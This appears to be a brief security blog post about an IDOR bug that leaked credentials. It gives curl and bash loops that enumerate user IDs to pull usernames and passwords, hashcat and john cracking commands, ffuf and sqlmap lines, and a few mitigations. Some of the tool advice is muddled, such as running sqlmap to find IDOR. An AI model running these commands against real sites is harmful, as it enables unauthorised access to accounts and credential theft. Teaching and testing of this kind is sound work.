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Insecure Direct Object Reference (IDOR) vulnerabilities can lead to unauthorized access to sensitive data, such as usernames and passwords, especially when improper access controls are in place. In this case, an IDOR was found in a subdomain that leaked credentials, though the hashed IDs reduced the severity from High to Low.
You Should Know:
1. Understanding IDOR Vulnerabilities
IDOR occurs when an application exposes internal object references (e.g., database IDs) without proper authorization checks. Attackers manipulate these references to access unauthorized data.
2. Exploiting IDOR to Extract Credentials
If an endpoint leaks user data via predictable or brute-forceable IDs, you can extract sensitive information. Example:
curl -X GET "https://vulnerable-site.com/api/user?id=123" -H "Authorization: Bearer token"
If the `id` parameter is incrementable, an attacker can loop through possible values:
for id in {1..100}; do
curl -s "https://vulnerable-site.com/api/user?id=$id" | jq '.username, .password'
done
3. Bypassing Hashed IDs
If IDs are hashed, check for:
- Hash Reversibility: Use tools like `hashcat` to crack weak hashes.
hashcat -m 1000 hashed_ids.txt /usr/share/wordlists/rockyou.txt
- Information Leakage: Look for other endpoints or misconfigurations exposing raw IDs.
4. Mitigation Techniques
- Implement proper access controls (e.g., role-based checks).
- Use UUIDs instead of sequential IDs.
- Apply rate limiting to prevent brute-force attacks.
What Undercode Say
IDOR remains a critical issue in web applications. Always test for:
– Parameter tampering (e.g., user_id, account_id).
– Session validation flaws (e.g., JWT tampering).
– API misconfigurations (e.g., excessive data exposure).
Use these Linux commands for security testing:
Enumerate endpoints ffuf -u "https://target.com/FUZZ" -w /path/to/wordlist.txt Test for IDOR sqlmap -u "https://target.com/user?id=1" --risk=3 --level=5 Crack hashes john --format=raw-md5 hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
Expected Output:
A detailed report on IDOR exploitation, including extracted credentials (if any), hash-cracking results, and recommended fixes.
Relevant URLs:
References:
Reported By: Ahmed Farrag – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
